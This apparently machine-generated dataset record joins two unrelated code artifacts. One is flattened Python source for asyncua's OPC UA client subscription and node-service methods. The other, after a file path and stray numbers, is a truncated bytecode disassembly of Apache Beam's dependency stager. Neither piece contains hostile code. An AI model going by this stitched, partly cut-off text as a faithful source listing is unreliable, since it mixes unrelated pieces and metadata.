create_subscription( # type: ignore[override] self, params: ua.CreateSubscriptionParameters, callback ) -> ua.CreateSubscriptionResult: self.logger.debug("create_subscription") request = ua.CreateSubscriptionRequest() request.Parameters = params data = await self.protocol.send_request(request) response = struct_from_binary(ua.CreateSubscriptionResponse, data) response.ResponseHeader.ServiceResult.check() self._subscription_callbacks[response.Parameters.SubscriptionId] = callback self.logger.info( "create_subscription success SubscriptionId %s", response.Parameters.SubscriptionId, ) if not self._publish_task or self._publish_task.done(): self._publish_task = asyncio.create_task(self._publish_loop()) return response.Parameters async def inform_subscriptions(self, status: ua.StatusCode): """ Inform all current subscriptions with a status code. This calls the handler's status_change_notification """ status_message = ua.StatusChangeNotification(Status=status) notification_message = ua.NotificationMessage(NotificationData=[status_message]) # type: ignore[list-item] for subid, callback in self._subscription_callbacks.items(): try: parameters = ua.PublishResult( subid, NotificationMessage_=notification_message ) if asyncio.iscoroutinefunction(callback): await callback(parameters) else: callback(parameters) except Exception: # we call user code, catch everything! self.logger.exception("Exception while calling user callback: %s") async def update_subscription( self, params: ua.ModifySubscriptionParameters ) -> ua.ModifySubscriptionResult: request = ua.ModifySubscriptionRequest() request.Parameters = params data = await self.protocol.send_request(request) response = struct_from_binary(ua.ModifySubscriptionResponse, data) response.ResponseHeader.ServiceResult.check() self.logger.info( "update_subscription success SubscriptionId %s", params.SubscriptionId ) return response.Parameters modify_subscription = update_subscription # legacy support async def delete_subscriptions(self, subscription_ids): self.logger.debug("delete_subscriptions %r", subscription_ids) request = ua.DeleteSubscriptionsRequest() request.Parameters.SubscriptionIds = subscription_ids data = await self.protocol.send_request(request) response = struct_from_binary(ua.DeleteSubscriptionsResponse, data) response.ResponseHeader.ServiceResult.check() self.logger.info("remove subscription callbacks for %r", subscription_ids) for sid in subscription_ids: self._subscription_callbacks.pop(sid) return response.Results async def publish( self, acks: List[ua.SubscriptionAcknowledgement] ) -> ua.PublishResponse: """ Send a PublishRequest to the server. """ self.logger.debug("publish %r", acks) request = ua.PublishRequest() request.Parameters.SubscriptionAcknowledgements = acks if acks else [] data = await self.protocol.send_request(request, timeout=0) self.protocol.check_answer(data, "while waiting for publish response") try: response = struct_from_binary(ua.PublishResponse, data) except Exception as ex: self.logger.exception("Error parsing notification from server") raise UaStructParsingError from ex return response async def _publish_loop(self): """ Start a loop that sends a publish requests and waits for the publish responses. Forward the `PublishResult` to the matching `Subscription` by callback. """ ack = None while not self._closing: try: response = await self.publish([ack] if ack else []) except BadTimeout: # See Spec. Part 4, 7.28 ack = None continue except BadNoSubscription: # See Spec. Part 5, 13.8.1 self.logger.info( "BadNoSubscription received, ignoring because it's probably valid." ) return except UaStructParsingError: ack = None continue subscription_id = response.Parameters.SubscriptionId if not subscription_id: return try: callback = self._subscription_callbacks[subscription_id] except KeyError: self.logger.warning( "Received data for unknown subscription %s active are %s", subscription_id, self._subscription_callbacks.keys(), ) else: try: if asyncio.iscoroutinefunction(callback): await callback(response.Parameters) else: callback(response.Parameters) except Exception: # we call user code, catch everything! self.logger.exception("Exception while calling user callback: %s") if response.Parameters.NotificationMessage.NotificationData: ack = ua.SubscriptionAcknowledgement() ack.SubscriptionId = subscription_id ack.SequenceNumber = ( response.Parameters.NotificationMessage.SequenceNumber ) else: ack = None async def create_monitored_items(self, params): self.logger.info("create_monitored_items") request = ua.CreateMonitoredItemsRequest() request.Parameters = params data = await self.protocol.send_request(request) response = struct_from_binary(ua.CreateMonitoredItemsResponse, data) self.logger.debug(response) response.ResponseHeader.ServiceResult.check() return response.Results async def delete_monitored_items(self, params): self.logger.info("delete_monitored_items") request = ua.DeleteMonitoredItemsRequest() request.Parameters = params data = await self.protocol.send_request(request) response = struct_from_binary(ua.DeleteMonitoredItemsResponse, data) self.logger.debug(response) response.ResponseHeader.ServiceResult.check() return response.Results async def add_nodes(self, nodestoadd): self.logger.info("add_nodes") request = ua.AddNodesRequest() request.Parameters.NodesToAdd = nodestoadd data = await self.protocol.send_request(request) response = struct_from_binary(ua.AddNodesResponse, data) self.logger.debug(response) response.ResponseHeader.ServiceResult.check() return response.Results async def add_references(self, refs): self.logger.info("add_references") request = ua.AddReferencesRequest() request.Parameters.ReferencesToAdd = refs data = await self.protocol.send_request(request) response = struct_from_binary(ua.AddReferencesResponse, data) self.logger.debug(response) response.ResponseHeader.ServiceResult.check() return response.Results async def delete_references(self, refs): self.logger.info("delete") request = ua.DeleteReferencesRequest() request.Parameters.ReferencesToDelete = refs data = await self.protocol.send_request(request) response = struct_from_binary(ua.DeleteReferencesResponse, data) self.logger.debug(response) response.ResponseHeader.ServiceResult.check() return response.Parameters.Results async def delete_nodes(self, params): self.logger.info("delete_nodes") request = ua.DeleteNodesRequest() request.Parameters = params data = await self.protocol.send_request(request) response = struct_from_binary(ua.DeleteNodesResponse, data) self.logger.debug(response) response.ResponseHeader.ServiceResult.check() return response.Results async def call(self, methodstocall): request = ua.CallRequest() request.Parameters.MethodsToCall = methodstocall data = await self.protocol.send_request(request) response = struct_from_binary(ua.CallResponse, data) self.logger.debug(response) response.ResponseHeader.ServiceResult.check() return response.Results async def history_read(self, params): self.logger.info("history_read") request = ua.HistoryReadRequest() request.Parameters = params data = await self.protocol.send_request(request) response = struct_from_binary(ua.HistoryReadResponse, data) self.logger.debug(response) response.ResponseHeader.ServiceResult.check() return response.Results async def modify_monitored_items(self, params): self.logger.info("modify_monitored_items") request = ua.ModifyMonitoredItemsRequest() request.Parameters = params data = await self.protocol.send_request(request) response = struct_from_binary(ua.ModifyMonitoredItemsResponse, data) self.logger.debug(response) response.ResponseHeader.ServiceResult.check() return response.Results async def register_nodes(self, nodes): self.logger.info("register_nodes") request = ua.RegisterNodesRequest() request.Parameters.NodesToRegister = nodes data = await self.protocol.send_request(request) response = struct_from_binary(ua.RegisterNodesResponse, data) self.logger.debug(response) response.ResponseHeader.ServiceResult.check() return response.Parameters.RegisteredNodeIds async def unregister_nodes(self, nodes): self.logger.info("unregister_nodes") request = ua.UnregisterNodesRequest() request.Parameters.NodesToUnregister = nodes data = await self.protocol.send_request(request) response = struct_from_binary(ua.UnregisterNodesResponse, data) self.logger.debug(response) response.ResponseHeader.ServiceResult.check() async def read_attributes(self, nodeids, attr): self.logger.info("read_attributes of several nodes") request = ua.ReadRequest() for nodeid in nodeids: rv = ua.ReadValueId() rv.NodeId = nodeid rv.AttributeId = attr request.Parameters.NodesToRead.append(rv) data = await self.protocol.send_request(request) response = struct_from_binary(ua.ReadResponse, data) response.ResponseHeader.ServiceResult.check() return response.Results async def write_attributes( self, nodeids, datavalues, attributeid=ua.AttributeIds.Value ): """ Set an attribute of multiple nodes datavalue is a ua.DataValue object """ self.logger.info("write_attributes of several nodes") request = ua.WriteRequest() for idx, nodeid in enumerate(nodeids): attr = ua.WriteValue() attr.NodeId = nodeid attr.AttributeId = attributeid attr.Value = datavalues[idx] request.Parameters.NodesToWrite.append(attr) data = await self.protocol.send_request(request) response = struct_from_binary(ua.WriteResponse, data) response.ResponseHeader.ServiceResult.check() return response.Results async def set_monitoring_mode(self, params) -> List[ua.uatypes.StatusCode]: """ Update the subscription monitoring mode """ self.logger.info("set_monitoring_mode") request = ua.SetMonitoringModeRequest() request.Parameters = params data = await self.protocol.send_request(request) response = struct_from_binary(ua.SetMonitoringModeResponse, data) self.logger.debug(response) response.ResponseHeader.ServiceResult.check() return response.Parameters.Results async def set_publishing_mode(self, params) -> List[ua.uatypes.StatusCode]: """ Update the subscription publishing mode """ self.logger.info("set_publishing_mode") request = ua.SetPublishingModeRequest() request.Parameters = params data = await self.protocol.send_request(request) response = struct_from_binary(ua.SetPublishingModeResponse, data) self.logger.debug(response) response.ResponseHeader.ServiceResult.check() return response.Parameters.Results async def transfer_subscriptions( self, params: ua.TransferSubscriptionsParameters ) -> List[ua.TransferResult]: raise NotImplementedError
data/asyncua-1.0.6/asyncua/client/ua_client.py
15,679
8,999
187,690
LOAD_CONST "Support for installing custom code and required dependencies.\n\nWorkflows, with the exception of very simple ones, are organized in multiple\nmodules and packages. Typically, these modules and packages have\ndependencies on other standard libraries. Beam relies on the Python\nsetuptools package to handle these scenarios. For further details please read:\nhttps://pythonhosted.org/an_example_pypi_project/setuptools.html\n\nWhen a runner tries to run a pipeline it will check for a --requirements_file\nand a --setup_file option.\n\nIf --setup_file is present then it is assumed that the folder containing the\nfile specified by the option has the typical layout required by setuptools and\nit will run 'python setup.py sdist' to produce a source distribution. The\nresulting tarball (a .tar or .tar.gz file) will be staged at the staging\nlocation specified as job option. When a worker starts it will check for the\npresence of this file and will run 'easy_install tarball' to install the\npackage in the worker.\n\nIf --requirements_file is present then the file specified by the option will be\nstaged in the staging location. When a worker starts it will check for the\npresence of this file and will run 'pip install -r requirements.txt'. A\nrequirements file can be easily generated by running 'pip freeze -r\nrequirements.txt'. The reason a runner does not run this automatically is\nbecause quite often only a small fraction of the dependencies present in a\nrequirements.txt file are actually needed for remote execution and therefore a\none-time manual trimming is desirable.\n\nTODO(silviuc): Should we allow several setup packages?\nTODO(silviuc): We should allow customizing the exact command for setup build.\n" STORE_NAME __doc__ LOAD_CONST 0 LOAD_CONST None IMPORT_NAME glob STORE_NAME glob LOAD_CONST 0 LOAD_CONST None IMPORT_NAME hashlib STORE_NAME hashlib LOAD_CONST 0 LOAD_CONST None IMPORT_NAME logging STORE_NAME logging LOAD_CONST 0 LOAD_CONST None IMPORT_NAME os STORE_NAME os LOAD_CONST 0 LOAD_CONST None IMPORT_NAME shutil STORE_NAME shutil LOAD_CONST 0 LOAD_CONST None IMPORT_NAME sys STORE_NAME sys LOAD_CONST 0 LOAD_CONST None IMPORT_NAME tempfile STORE_NAME tempfile LOAD_CONST 0 LOAD_CONST ('distribution',) IMPORT_NAME importlib.metadata IMPORT_FROM distribution STORE_NAME distribution POP_TOP LOAD_CONST 0 LOAD_CONST ('Callable',) IMPORT_NAME typing IMPORT_FROM Callable STORE_NAME Callable POP_TOP LOAD_CONST 0 LOAD_CONST ('List',) IMPORT_NAME typing IMPORT_FROM List STORE_NAME List POP_TOP LOAD_CONST 0 LOAD_CONST ('Optional',) IMPORT_NAME typing IMPORT_FROM Optional STORE_NAME Optional POP_TOP LOAD_CONST 0 LOAD_CONST ('Tuple',) IMPORT_NAME typing IMPORT_FROM Tuple STORE_NAME Tuple POP_TOP LOAD_CONST 0 LOAD_CONST ('urlparse',) IMPORT_NAME urllib.parse IMPORT_FROM urlparse STORE_NAME urlparse POP_TOP LOAD_CONST 0 LOAD_CONST ('version',) IMPORT_NAME packaging IMPORT_FROM version STORE_NAME version POP_TOP LOAD_CONST 0 LOAD_CONST ('pickler',) IMPORT_NAME apache_beam.internal IMPORT_FROM pickler STORE_NAME pickler POP_TOP LOAD_CONST 0 LOAD_CONST ('get_new_http',) IMPORT_NAME apache_beam.internal.http_client IMPORT_FROM get_new_http STORE_NAME get_new_http POP_TOP LOAD_CONST 0 LOAD_CONST ('CompressionTypes',) IMPORT_NAME apache_beam.io.filesystem IMPORT_FROM CompressionTypes STORE_NAME CompressionTypes POP_TOP LOAD_CONST 0 LOAD_CONST ('FileSystems',) IMPORT_NAME apache_beam.io.filesystems IMPORT_FROM FileSystems STORE_NAME FileSystems POP_TOP LOAD_CONST 0 LOAD_CONST ('DebugOptions',) IMPORT_NAME apache_beam.options.pipeline_options IMPORT_FROM DebugOptions STORE_NAME DebugOptions POP_TOP LOAD_CONST 0 LOAD_CONST ('PipelineOptions',) IMPORT_NAME apache_beam.options.pipeline_options IMPORT_FROM PipelineOptions STORE_NAME PipelineOptions POP_TOP LOAD_CONST 0 LOAD_CONST ('SetupOptions',) IMPORT_NAME apache_beam.options.pipeline_options IMPORT_FROM SetupOptions STORE_NAME SetupOptions POP_TOP LOAD_CONST 0 LOAD_CONST ('WorkerOptions',) IMPORT_NAME apache_beam.options.pipeline_options IMPORT_FROM WorkerOptions STORE_NAME WorkerOptions POP_TOP LOAD_CONST 0 LOAD_CONST ('common_urns',) IMPORT_NAME apache_beam.portability IMPORT_FROM common_urns STORE_NAME common_urns POP_TOP LOAD_CONST 0 LOAD_CONST ('beam_runner_api_pb2',) IMPORT_NAME apache_beam.portability.api IMPORT_FROM beam_runner_api_pb2 STORE_NAME beam_runner_api_pb2 POP_TOP LOAD_CONST 0 LOAD_CONST ('names',) IMPORT_NAME apache_beam.runners.internal IMPORT_FROM names STORE_NAME names POP_TOP LOAD_CONST 0 LOAD_CONST ('processes',) IMPORT_NAME apache_beam.utils IMPORT_FROM processes STORE_NAME processes POP_TOP LOAD_CONST 0 LOAD_CONST ('retry',) IMPORT_NAME apache_beam.utils IMPORT_FROM retry STORE_NAME retry POP_TOP LOAD_CONST 'workflow.tar.gz' STORE_NAME WORKFLOW_TARBALL_FILE LOAD_CONST 'requirements.txt' STORE_NAME REQUIREMENTS_FILE LOAD_CONST 'extra_packages.txt' STORE_NAME EXTRA_PACKAGES_FILE LOAD_CONST 'skip' STORE_NAME SKIP_REQUIREMENTS_CACHE LOAD_NAME logging LOAD_METHOD getLogger LOAD_NAME __name__ CALL_METHOD STORE_NAME _LOGGER LOAD_CONST <code object retry_on_non_zero_exit at 0x7fae471296f0, file "f.py", line 74> LOAD_CONST 'retry_on_non_zero_exit' MAKE_FUNCTION STORE_NAME retry_on_non_zero_exit LOAD_BUILD_CLASS LOAD_CONST <code object Stager at 0x7fab542adc00, file "f.py", line 82> LOAD_CONST 'Stager' MAKE_FUNCTION LOAD_CONST 'Stager' LOAD_NAME object CALL_FUNCTION STORE_NAME Stager LOAD_CONST None RETURN_VALUE LOAD_GLOBAL isinstance LOAD_FAST exception LOAD_GLOBAL processes LOAD_ATTR CalledProcessError CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST exception LOAD_ATTR returncode LOAD_CONST 0 COMPARE_OP != POP_JUMP_IF_FALSE LOAD_CONST True RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'Stager' STORE_NAME __qualname__ LOAD_CONST 'Abstract Stager identifies and copies the appropriate artifacts to the\n staging location.\n Implementation of this stager has to implement :func:`stage_artifact` and\n :func:`commit_manifest`.\n ' STORE_NAME __doc__ LOAD_CONST 2097152 STORE_NAME _DEFAULT_CHUNK_SIZE LOAD_CONST <code object stage_artifact at 0x7fadb5811c00, file "f.py", line 91> LOAD_CONST 'Stager.stage_artifact' MAKE_FUNCTION STORE_NAME stage_artifact LOAD_CONST <code object commit_manifest at 0x7fab82334420, file "f.py", line 96> LOAD_CONST 'Stager.commit_manifest' MAKE_FUNCTION STORE_NAME commit_manifest LOAD_NAME staticmethod LOAD_CONST <code object _create_file_stage_to_artifact at 0x7fab823349c0, file "f.py", line 100> LOAD_CONST 'Stager._create_file_stage_to_artifact' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _create_file_stage_to_artifact LOAD_NAME staticmethod LOAD_CONST <code object _create_file_pip_requirements_artifact at 0x7fab82334ed0, file "f.py", line 113> LOAD_CONST 'Stager._create_file_pip_requirements_artifact' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _create_file_pip_requirements_artifact LOAD_NAME staticmethod LOAD_NAME List LOAD_NAME beam_runner_api_pb2 LOAD_ATTR ArtifactInformation BINARY_SUBSCR LOAD_CONST ('artifacts',) BUILD_CONST_KEY_MAP LOAD_CONST <code object extract_staging_tuple_iter at 0x7fab82334d20, file "f.py", line 123> LOAD_CONST 'Stager.extract_staging_tuple_iter' MAKE_FUNCTION CALL_FUNCTION STORE_NAME extract_staging_tuple_iter LOAD_NAME staticmethod LOAD_CONST (None, None, None, False) LOAD_CONST <code object create_job_resources at 0x7fab82334810, file "f.py", line 148> LOAD_CONST 'Stager.create_job_resources' MAKE_FUNCTION CALL_FUNCTION STORE_NAME create_job_resources LOAD_CONST (None,) LOAD_CONST <code object stage_job_resources at 0x7fab82334030, file "f.py", line 373> LOAD_CONST 'Stager.stage_job_resources' MAKE_FUNCTION STORE_NAME stage_job_resources LOAD_CONST (None, None, None, None, None) LOAD_CONST <code object create_and_stage_job_resources at 0x7fab82334c90, file "f.py", line 407> LOAD_CONST 'Stager.create_and_stage_job_resources' MAKE_FUNCTION STORE_NAME create_and_stage_job_resources LOAD_NAME staticmethod LOAD_NAME retry LOAD_ATTR with_exponential_backoff LOAD_CONST 4 LOAD_CONST ('num_retries',) CALL_FUNCTION LOAD_CONST <code object _download_file at 0x7fab82334b70, file "f.py", line 464> LOAD_CONST 'Stager._download_file' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME _download_file LOAD_NAME staticmethod LOAD_CONST <code object _is_remote_path at 0x7fab82334300, file "f.py", line 511> LOAD_CONST 'Stager._is_remote_path' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _is_remote_path LOAD_NAME staticmethod LOAD_CONST <code object _create_jar_packages at 0x7fab82334390, file "f.py", line 515> LOAD_CONST 'Stager._create_jar_packages' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _create_jar_packages LOAD_NAME staticmethod LOAD_CONST <code object _create_extra_packages at 0x7fab542ade40, file "f.py", line 568> LOAD_CONST 'Stager._create_extra_packages' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _create_extra_packages LOAD_NAME staticmethod LOAD_CONST <code object _get_python_executable at 0x7fab542ad5d0, file "f.py", line 646> LOAD_CONST 'Stager._get_python_executable' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _get_python_executable LOAD_NAME staticmethod LOAD_CONST <code object _remove_dependency_from_requirements at 0x7fab542ad4b0, file "f.py", line 653> LOAD_CONST 'Stager._remove_dependency_from_requirements' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _remove_dependency_from_requirements LOAD_NAME staticmethod LOAD_CONST <code object _extract_local_packages at 0x7fab542ad030, file "f.py", line 674> LOAD_CONST 'Stager._extract_local_packages' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _extract_local_packages LOAD_NAME staticmethod LOAD_CONST <code object _get_platform_for_default_sdk_container at 0x7fab542adc90, file "f.py", line 694> LOAD_CONST 'Stager._get_platform_for_default_sdk_container' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _get_platform_for_default_sdk_container LOAD_NAME staticmethod LOAD_NAME retry LOAD_ATTR with_exponential_backoff LOAD_CONST 4 LOAD_NAME retry_on_non_zero_exit LOAD_CONST ('num_retries', 'retry_filter') CALL_FUNCTION LOAD_CONST (False,) LOAD_CONST <code object _populate_requirements_cache at 0x7fab542ad810, file "f.py", line 711> LOAD_CONST 'Stager._populate_requirements_cache' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME _populate_requirements_cache LOAD_NAME staticmethod LOAD_CONST (None,) LOAD_CONST <code object _build_setup_package at 0x7fab542aded0, file "f.py", line 761> LOAD_CONST 'Stager._build_setup_package' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _build_setup_package LOAD_NAME staticmethod LOAD_CONST <code object _desired_sdk_filename_in_staging_location at 0x7fab542ad930, file "f.py", line 802> LOAD_CONST 'Stager._desired_sdk_filename_in_staging_location' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _desired_sdk_filename_in_staging_location LOAD_NAME staticmethod LOAD_CONST <code object _create_beam_sdk at 0x7fab542adb70, file "f.py", line 817> LOAD_CONST 'Stager._create_beam_sdk' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _create_beam_sdk LOAD_CONST None RETURN_VALUE LOAD_GLOBAL NotImplementedError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL NotImplementedError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL beam_runner_api_pb2 LOAD_ATTR ArtifactInformation LOAD_GLOBAL common_urns LOAD_ATTR artifact_types LOAD_ATTR FILE LOAD_ATTR urn LOAD_GLOBAL beam_runner_api_pb2 LOAD_ATTR ArtifactFilePayload LOAD_FAST local_path LOAD_CONST ('path',) CALL_FUNCTION LOAD_METHOD SerializeToString CALL_METHOD LOAD_GLOBAL common_urns LOAD_ATTR artifact_roles LOAD_ATTR STAGING_TO LOAD_ATTR urn LOAD_GLOBAL beam_runner_api_pb2 LOAD_ATTR ArtifactStagingToRolePayload LOAD_FAST staged_name LOAD_CONST ('staged_name',) CALL_FUNCTION LOAD_METHOD SerializeToString CALL_METHOD LOAD_CONST ('type_urn', 'type_payload', 'role_urn', 'role_payload') CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL beam_runner_api_pb2 LOAD_ATTR ArtifactInformation LOAD_GLOBAL common_urns LOAD_ATTR artifact_types LOAD_ATTR FILE LOAD_ATTR urn LOAD_GLOBAL beam_runner_api_pb2 LOAD_ATTR ArtifactFilePayload LOAD_FAST local_path LOAD_CONST ('path',) CALL_FUNCTION LOAD_METHOD SerializeToString CALL_METHOD LOAD_GLOBAL common_urns LOAD_ATTR artifact_roles LOAD_ATTR PIP_REQUIREMENTS_FILE LOAD_ATTR urn LOAD_CONST ('type_urn', 'type_payload', 'role_urn') CALL_FUNCTION RETURN_VALUE SETUP_LOOP to 184 LOAD_FAST artifacts GET_ITER FOR_ITER to 182 STORE_FAST artifact LOAD_FAST artifact LOAD_ATTR type_urn LOAD_GLOBAL common_urns LOAD_ATTR artifact_types LOAD_ATTR FILE LOAD_ATTR urn COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL beam_runner_api_pb2 LOAD_METHOD ArtifactFilePayload CALL_METHOD STORE_FAST file_payload LOAD_FAST file_payload LOAD_METHOD ParseFromString LOAD_FAST artifact LOAD_ATTR type_payload CALL_METHOD POP_TOP LOAD_FAST file_payload LOAD_ATTR path STORE_FAST src LOAD_FAST file_payload LOAD_ATTR sha256 STORE_FAST sha256 LOAD_FAST artifact LOAD_ATTR role_urn LOAD_GLOBAL common_urns LOAD_ATTR artifact_roles LOAD_ATTR STAGING_TO LOAD_ATTR urn COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL beam_runner_api_pb2 LOAD_METHOD ArtifactStagingToRolePayload CALL_METHOD STORE_FAST role_payload LOAD_FAST role_payload LOAD_METHOD ParseFromString LOAD_FAST artifact LOAD_ATTR role_payload CALL_METHOD POP_TOP LOAD_FAST role_payload LOAD_ATTR staged_name STORE_FAST dst JUMP_FORWARD to 152 LOAD_FAST artifact LOAD_ATTR role_urn LOAD_GLOBAL common_urns LOAD_ATTR artifact_roles LOAD_ATTR PIP_REQUIREMENTS_FILE LOAD_ATTR urn COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL hashlib LOAD_METHOD sha256 LOAD_FAST artifact LOAD_METHOD SerializeToString CALL_METHOD CALL_METHOD LOAD_METHOD hexdigest CALL_METHOD STORE_FAST dst JUMP_FORWARD to 152 LOAD_GLOBAL RuntimeError LOAD_CONST 'unknown role type: %s' LOAD_FAST artifact LOAD_ATTR role_urn BINARY_MODULO CALL_FUNCTION RAISE_VARARGS LOAD_FAST src LOAD_FAST dst LOAD_FAST sha256 BUILD_TUPLE YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_GLOBAL RuntimeError LOAD_CONST 'unknown artifact type: %s' LOAD_FAST artifact LOAD_ATTR type_urn BINARY_MODULO CALL_FUNCTION RAISE_VARARGS JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE BUILD_LIST STORE_FAST resources LOAD_FAST options LOAD_METHOD view_as LOAD_GLOBAL SetupOptions CALL_METHOD STORE_FAST setup_options LOAD_FAST options LOAD_METHOD view_as LOAD_GLOBAL WorkerOptions CALL_METHOD LOAD_ATTR sdk_container_image LOAD_CONST None COMPARE_OP is STORE_FAST use_beam_default_container LOAD_GLOBAL pickler LOAD_METHOD set_library LOAD_FAST setup_options LOAD_ATTR pickle_library CALL_METHOD POP_TOP LOAD_FAST skip_prestaged_dependencies EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_FAST setup_options LOAD_ATTR requirements_cache LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD join LOAD_GLOBAL tempfile LOAD_METHOD gettempdir CALL_METHOD LOAD_CONST 'dataflow-requirements-cache' CALL_METHOD JUMP_FORWARD to 80 LOAD_FAST setup_options LOAD_ATTR requirements_cache STORE_FAST requirements_cache_path LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD exists LOAD_FAST requirements_cache_path CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL os LOAD_METHOD makedirs LOAD_FAST requirements_cache_path CALL_METHOD POP_TOP LOAD_FAST setup_options LOAD_ATTR requirements_file LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD isfile LOAD_FAST setup_options LOAD_ATTR requirements_file CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL RuntimeError LOAD_CONST 'The file %s cannot be found. It was specified in the --requirements_file command line option.' LOAD_FAST setup_options LOAD_ATTR requirements_file BINARY_MODULO CALL_FUNCTION RAISE_VARARGS LOAD_GLOBAL Stager LOAD_METHOD _extract_local_packages LOAD_FAST setup_options LOAD_ATTR requirements_file CALL_METHOD UNPACK_SEQUENCE STORE_FAST extra_packages STORE_FAST thinned_requirements_file LOAD_FAST extra_packages POP_JUMP_IF_FALSE LOAD_FAST setup_options LOAD_ATTR extra_packages JUMP_IF_TRUE_OR_POP BUILD_LIST LOAD_FAST extra_packages BINARY_ADD LOAD_FAST setup_options STORE_ATTR extra_packages LOAD_FAST resources LOAD_METHOD append LOAD_GLOBAL Stager LOAD_METHOD _create_file_stage_to_artifact LOAD_FAST thinned_requirements_file LOAD_GLOBAL REQUIREMENTS_FILE CALL_METHOD CALL_METHOD POP_TOP LOAD_FAST use_beam_default_container POP_JUMP_IF_TRUE LOAD_GLOBAL _LOGGER LOAD_METHOD warning LOAD_CONST 'When using a custom container image, prefer installing additional PyPI dependencies directly into the image, instead of specifying them via runtime options, such as --requirements_file. ' CALL_METHOD POP_TOP LOAD_FAST setup_options LOAD_ATTR requirements_cache LOAD_GLOBAL SKIP_REQUIREMENTS_CACHE COMPARE_OP != POP_JUMP_IF_FALSE LOAD_FAST populate_requirements_cache POP_JUMP_IF_FALSE LOAD_FAST populate_requirements_cache JUMP_FORWARD to 232 LOAD_GLOBAL Stager LOAD_ATTR _populate_requirements_cache LOAD_FAST setup_options LOAD_ATTR requirements_file LOAD_FAST requirements_cache_path LOAD_FAST setup_options LOAD_ATTR requirements_cache_only_sources CALL_FUNCTION POP_TOP LOAD_FAST pypi_requirements EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL tempfile LOAD_ATTR NamedTemporaryFile LOAD_CONST 'w' LOAD_CONST False LOAD_CONST ('mode', 'delete') CALL_FUNCTION STORE_FAST tf LOAD_FAST tf LOAD_METHOD writelines LOAD_FAST pypi_requirements CALL_METHOD POP_TOP LOAD_FAST tf LOAD_METHOD close CALL_METHOD POP_TOP LOAD_FAST resources LOAD_METHOD append LOAD_GLOBAL Stager LOAD_METHOD _create_file_pip_requirements_artifact LOAD_FAST tf LOAD_ATTR name CALL_METHOD CALL_METHOD POP_TOP LOAD_FAST setup_options LOAD_ATTR requirements_cache LOAD_GLOBAL SKIP_REQUIREMENTS_CACHE COMPARE_OP != EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST populate_requirements_cache EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST populate_requirements_cache JUMP_FORWARD to 328 LOAD_GLOBAL Stager LOAD_ATTR _populate_requirements_cache LOAD_FAST tf LOAD_ATTR name LOAD_FAST requirements_cache_path LOAD_FAST setup_options LOAD_ATTR requirements_cache_only_sources CALL_FUNCTION POP_TOP LOAD_FAST setup_options LOAD_ATTR requirements_cache LOAD_GLOBAL SKIP_REQUIREMENTS_CACHE COMPARE_OP != EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST setup_options LOAD_ATTR requirements_file LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_FAST pypi_requirements EXTENDED_ARG POP_JUMP_IF_FALSE SETUP_LOOP to 430 LOAD_GLOBAL glob LOAD_METHOD glob LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD join LOAD_FAST requirements_cache_path LOAD_CONST '*' CALL_METHOD CALL_METHOD GET_ITER FOR_ITER to 428 STORE_FAST pkg LOAD_FAST resources LOAD_METHOD append LOAD_GLOBAL Stager LOAD_METHOD _create_file_stage_to_artifact LOAD_FAST pkg LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD basename LOAD_FAST pkg CALL_METHOD CALL_METHOD CALL_METHOD POP_TOP EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_FAST setup_options LOAD_ATTR setup_file LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD isfile LOAD_FAST setup_options LOAD_ATTR setup_file CALL_METHOD EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL RuntimeError LOAD_CONST 'The file %s cannot be found. It was specified in the --setup_file command line option.' LOAD_FAST setup_options LOAD_ATTR setup_file BINARY_MODULO CALL_FUNCTION RAISE_VARARGS LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD basename LOAD_FAST setup_options LOAD_ATTR setup_file CALL_METHOD LOAD_CONST 'setup.py' COMPARE_OP != EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL RuntimeError LOAD_CONST 'The --setup_file option expects the full path to a file named setup.py instead of %s' LOAD_FAST setup_options LOAD_ATTR setup_file BINARY_MODULO CALL_FUNCTION RAISE_VARARGS LOAD_GLOBAL Stager LOAD_METHOD _build_setup_package LOAD_FAST 